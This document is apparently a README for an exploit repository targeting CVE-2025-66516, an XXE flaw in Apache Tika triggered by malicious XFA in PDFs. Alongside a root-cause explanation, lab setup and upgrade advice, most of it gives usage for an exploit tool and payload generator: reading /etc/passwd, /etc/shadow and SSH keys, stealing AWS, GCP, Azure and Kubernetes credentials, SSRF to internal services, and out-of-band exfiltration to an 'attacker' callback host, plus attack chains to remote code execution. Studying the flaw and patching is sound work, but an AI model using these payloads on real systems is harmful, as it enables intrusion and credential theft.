
CVE-2025-66516 working exploit, scanner, explanation.
CVE-2025-66516 é uma vulnerabilidade crítica de injeção de Entidades Externas XML (XXE) no Apache Tika com pontuação CVSS de 10,0 (severidade máxima). A vulnerabilidade permite que atacantes remotos leiam arquivos arbitrários, realizem falsificação de requisição do lado do servidor (SSRF) e exfiltrem dados sensíveis ao enviar um documento PDF especialmente criado contendo conteúdo XFA (Arquitetura de Formulários XML) malicioso.
| Atributo | Valor |
|---|---|
| CVE ID | CVE-2025-66516 |
| Pontuação CVSS | 10,0 (Crítica) |
| Divulgação | 4 de dezembro de 2025 |
| Fornecedor | Apache Software Foundation |
| Produto Afetado | Apache Tika |
| Vetor de Ataque | Rede (Remoto) |
| Autenticação | Nenhuma Necessária |
| Componente | Versões Vulneráveis | Versão Corrigida |
|---|---|---|
| tika-core | 1.13 - 3.2.1 | 3.2.2+ |
| tika-parser-pdf-module | 2.0.0 - 3.2.1 | 3.2.2+ |
| tika-parsers | 1.13 - 1.28.5 | 2.0.0+ |
Importante: Este CVE substitui o CVE-2025-54988, que identificou incorretamente apenas o módulo PDF como vulnerável. A vulnerabilidade real reside no tika-core.
A vulnerabilidade é uma falha de injeção de Entidade Externa XML (XXE) na forma como o Apache Tika processa dados XFA (Arquitetura de Formulários XML) dentro de documentos PDF.
O Problema: O Tika depende de analisadores XML subjacentes do Java (especificamente um analisador StAX) para ler o conteúdo XML do XFA. Versões vulneráveis falharam em configurar corretamente o analisador para desabilitar a resolução de entidades externas. Quando o analisador encontra uma requisição de entidade externa (como SYSTEM "file:///etc/passwd"), ele resolve e retorna o conteúdo do arquivo.
Localização: O bug existe em XMLReaderUtils.getXMLInputFactory() no tika-core:
public static XMLInputFactory getXMLInputFactory() {
XMLInputFactory factory = XMLInputFactory.newFactory();
tryToSetStaxProperty(factory, XMLInputFactory.IS_NAMESPACE_AWARE, true);
tryToSetStaxProperty(factory, XMLInputFactory.IS_VALIDATING, false);
factory.setXMLResolver(IGNORING_STAX_ENTITY_RESOLVER); // <-- Ineficaz
return factory;
}
O IGNORING_STAX_ENTITY_RESOLVER foi criado para bloquear XXE retornando um resultado vazio, mas retornava uma String em vez do InputStream esperado. O analisador StAX padrão do JDK ignorou silenciosamente esse tipo de retorno incorreto e voltou ao comportamento padrão, que resolve entidades externas.
A correção desabilita explicitamente o suporte a DTD e entidades externas no nível da fábrica:
tryToSetStaxProperty(factory, XMLInputFactory.SUPPORT_DTD, false);
tryToSetStaxProperty(factory, XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
Além disso, o resolvedor foi alterado para retornar um tipo InputStream adequado.
No ecossistema Java, existem múltiplas bibliotecas de analisadores XML. As aplicações usam o analisador que estiver configurado ou o primeiro encontrado no classpath.
O que é Woodstox? Woodstox é um analisador XML StAX de alto desempenho e código aberto, comumente empacotado com aplicações Java.
Como ele fornece proteção: Por design (não por acidente), a implementação do Woodstox lida corretamente com o tipo de retorno do XMLResolver. Quando o Woodstox recebe o valor de retorno de string do IGNORING_STAX_ENTITY_RESOLVER, ele o trata como conteúdo vazio válido, bloqueando efetivamente o XXE.
Distinção crucial:
tika-server-standard.jar empacota o Woodstox - NÃO VULNERÁVELtika-core + módulos de analisador (uso embarcado) NÃO empacota o Woodstox - VULNERÁVEL# 1. Iniciar o ambiente de laboratório
docker-compose up -d --build
# 2. Testar contra o Tika vulnerável (JDK StAX, porta 9997)
python poc/exploit.py --url http://localhost:9997 --check
# 3. Extrair /etc/passwd
python poc/exploit.py --url http://localhost:9997 --file /etc/passwd
# 4. Comparar com o Tika protegido (Woodstox, porta 9998)
python poc/exploit.py --url http://localhost:9998 --check
CVE-2025-66516/
|-- docker-compose.yml # Orquestração do laboratório
|-- vulnerable-tika/
| |-- Dockerfile # Tika com Woodstox (protegido)
| +-- Dockerfile.jdk-stax # Tika sem Woodstox (VULNERÁVEL)
|-- webapp/
| |-- Dockerfile
| |-- app.py # Aplicação de upload Flask
| +-- templates/
|-- poc/
| |-- exploit.py # Ferramenta de exploração automatizada
| +-- generate_payload.py # Gerador de PDF malicioso
+-- README.md
docker-compose up -d --build
exploit.py)Exploração de cadeia completa com geração automática de payload e extração de dados.
# Verificar se o alvo é vulnerável
python poc/exploit.py --url http://target:9998 --check
# Ler arquivos locais
python poc/exploit.py --url http://target:9998 --file /etc/passwd
python poc/exploit.py --url http://target:9998 --file /etc/shadow
# Roubo de metadados AWS (instâncias EC2)
python poc/exploit.py --url http://target:9998 --aws-metadata
# Segredos do Kubernetes
python poc/exploit.py --url http://target:9998 --k8s-secrets
# SSRF para serviços internos
python poc/exploit.py --url http://target:9998 --ssrf http://internal:8080/admin
# Salvar dados extraídos
python poc/exploit.py --url http://target:9998 --file /etc/passwd --save loot.txt
generate_payload.py)Gera arquivos PDF maliciosos para teste manual ou integração com outras ferramentas.
# Gerar payload para arquivo específico
python poc/generate_payload.py --target /etc/passwd --output exploit.pdf
# Gerar payload SSRF
python poc/generate_payload.py --target http://169.254.169.254/latest/meta-data/ --output ssrf.pdf
# Gerar payload de exfiltração OOB
python poc/generate_payload.py --target /etc/passwd --callback http://attacker:8080 --output oob.pdf
# Usar predefinições de modo de ataque
python poc/generate_payload.py --mode aws_metadata --output aws.pdf
python poc/generate_payload.py --mode k8s_secrets --all-targets --output ./payloads/
# Listar modos de ataque disponíveis
python poc/generate_payload.py --list-modes
Modos de Ataque Disponíveis:
file_read - Ler arquivos locais (/etc/passwd, /etc/shadow, etc.)ssh_keys - Roubar chaves privadas SSHaws_metadata - Metadados AWS EC2 e credenciais IAMgcp_metadata - Tokens de conta de serviço GCPazure_metadata - Tokens de identidade gerenciada do Azurek8s_secrets - Credenciais de conta de serviço do Kuberneteswebapp_configs - Configurações comuns de aplicações webssrf_internal - Explorar serviços internosTeste contra Tika 2.9.2 sem Woodstox (simulando implantações embarcadas):
| Teste | Resultado |
|---|---|
| Detecção de XFA | [APROVADO] PDF reconhecido como tendo XFA |
| Análise de XFA | [APROVADO] Conteúdo XFA extraído |
| Leitura de arquivo XXE | [VULNERÁVEL] Conteúdo de /etc/passwd exfiltrado |
| SSRF XXE | [VULNERÁVEL] Requisições externas enviadas |
Prova de Exploração:
<li fieldName="data">data: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
Teste contra Tika 2.9.2 com Woodstox (tika-server-standard.jar padrão):
| Teste | Resultado |
|---|---|
| Detecção de XFA | [APROVADO] PDF reconhecido como tendo XFA |
| Análise de XFA | [APROVADO] Conteúdo XFA extraído |
| Leitura de arquivo XXE | [BLOQUEADO] Entidades externas não resolvidas |
| SSRF XXE | [BLOQUEADO] Nenhuma conexão de saída |
Saída mostra entidade vazia:
<li fieldName="data">data: </li>
A vulnerabilidade é real e crítica. A exploração depende da implementação StAX:
tika-server-standard.jar - Woodstox empacotado bloqueia XXEXXE é fundamentalmente uma vulnerabilidade de leitura de arquivo/SSRF, não execução remota de código direta. No entanto, permite vários caminhos de ataque:
| Ataque | Exemplo de Payload |
|---|---|
| Leitura de arquivo | SYSTEM "file:///etc/passwd" |
| SSRF | SYSTEM "http://internal:8080/admin" |
| Metadados AWS | SYSTEM "http://169.254.169.254/latest/meta-data/" |
| Cenário | Caminho de Ataque |
|---|---|
| AWS EC2 | XXE -> SSRF para metadados -> Credenciais IAM -> RCE via AWS CLI |
Atualizar o Apache Tika para a versão 3.2.2 ou superior
<dependency>
<groupId>org.apache.tika</groupId>
<artifactId>tika-core</artifactId>
<version>3.2.2</version>
</dependency>
Verificar se todos os componentes do Tika estão atualizados (módulos tika-core E parser)
| Tipo de Implantação | Nível de Risco |
|---|---|
| tika-server-standard.jar | BAIXO - Woodstox mitiga |
| Tika embarcado (uso como biblioteca) | ALTO - Provavelmente vulnerável |
| Personalizado sem Woodstox | ALTO - Vulnerável |
Problema 1: Exploit inicial não funcionou
Problema 2: Erro de múltiplas declarações XML
WstxParsingException: Illegal processing instruction target ("xml")Problema 3: O mistério do Woodstox
Problema 4: Testando a configuração errada
| Data | Evento |
|---|---|
| Agosto de 2025 | CVE-2025-54988 divulgado (escopo incompleto) |
| 4 de dezembro de 2025 | CVE-2025-66516 publicado (escopo completo identificado) |
| 4 de dezembro de 2025 | Apache Tika 3.2.2 lançado com correção |
Este ambiente de laboratório e código de prova de conceito são fornecidos apenas para testes de segurança autorizados, fins educacionais e pesquisa defensiva.
Não use estas ferramentas contra sistemas sem autorização explícita por escrito.
Este material de pesquisa é fornecido para fins educacionais. Use com responsabilidade.
| Serviço | Porta | Descrição |
|---|
| Aplicação Web | 8080 | Frontend de upload de documentos |
| Tika (Woodstox) | 9998 | Protegido - NÃO vulnerável |
| Tika (JDK StAX) | 9997 | VULNERÁVEL - Sem Woodstox |
| Ouvinte do Atacante | 9999 | Servidor HTTP para testes OOB |
| Kubernetes | XXE -> Ler token da conta de serviço -> kubectl exec |
| Jenkins Interno | XXE -> SSRF para console de script -> RCE Groovy |
| Banco de Dados | XXE -> Ler arquivos de configuração -> Acesso ao banco de dados |
| SSH | XXE -> Ler chaves SSH -> Acesso remoto ao shell |